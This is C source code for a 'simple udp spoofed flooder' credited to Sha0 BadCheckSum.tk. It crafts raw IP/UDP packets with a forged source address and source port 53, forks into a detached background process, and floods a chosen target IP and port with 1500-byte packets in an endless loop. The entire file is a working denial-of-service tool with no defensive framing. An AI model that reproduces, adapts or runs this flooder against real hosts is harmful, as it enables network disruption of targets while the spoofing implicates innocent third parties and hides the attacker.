//Simple udp spoofed flooder coded by Sha0 BadCheckSum.tk

#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/errno.h>

struct Sha0udp {
        struct iphdr ip;		// nivel 3
        struct udphdr udp;		// nivel 4
        char datos[1472];		// niveles superiores.
};


u_short in_cksum(u_short *addr, int len) {
	register int nleft = len;
        register u_short *w = addr;
        register int sum = 0;
        u_short answer =0;
        while (nleft > 1) {
                sum += *w++;
                nleft -= 2;
        }
        if (nleft == 1) {
                *(u_char *)(&answer) = *(u_char *)w;
                sum += answer;
        }
        sum = (sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);
        answer = ~sum;
        return(answer);
}


int main (int argc, char **argv) {
	struct sockaddr_in remote;
	struct Sha0udp packet;
	struct in_addr ips;
	int pid, i, r, s, flags=0;

	if (argc != 4) {
		printf ("uso: %s <ip destino> <ip origen> <puerto destino>\n",argv[0]);
		return 0;
	}
	
	bzero ((char *)&remote, sizeof(remote));
	remote.sin_family = AF_INET;
	remote.sin_port = htons(atoi(argv[3]));
	remote.sin_addr.s_addr = inet_addr (argv[1]);

	packet.ip.ihl = 5;
	packet.ip.version = 4;
	packet.ip.protocol = 17;
	packet.ip.tos = 0;
	packet.ip.id = 33;
	packet.ip.frag_off = 0;
	packet.ip.ttl = 255;

	ips.s_addr = inet_addr (argv[2]);
	memcpy ((char *)&packet.ip.saddr, (char *)&ips, sizeof(ips));
	ips.s_addr = inet_addr (argv[1]);
	memcpy ((char *)&packet.ip.daddr, (char *)&ips, sizeof(ips));
	packet.udp.source = htons(53);
	packet.udp.dest = htons(atoi(argv[3]));

	//packet.udp.len = 0;		//truncated-udplength 0
	packet.udp.len = sizeof (packet.udp);

	packet.udp.check = in_cksum ((u_short *)&packet,1500);
	packet.ip.check = in_cksum ((u_short *)&packet,1500);

	for (i=0;i<1470;i+=2) {
		strcpy ((char *)packet.datos+i, "%s");
	}

	pid = fork();

	if (pid==0) {
		setsid();
		for (i=0;;i++) {
			packet.udp.check = in_cksum ((u_short *)&packet,1500);
			packet.ip.check = in_cksum ((u_short *)&packet,1500);

			s = socket (AF_INET,SOCK_RAW,IPPROTO_RAW);
			r = sendto (s,(const void *)&packet, 1500, 0, (struct sockaddr *)&remote, sizeof(remote));
			if (r == -1) {
				i=10000;
				perror ("");
				printf ("  %d   %s\n",errno,strerror(errno));
			}
			close (s);
		}
	}
		
	close (s);
}
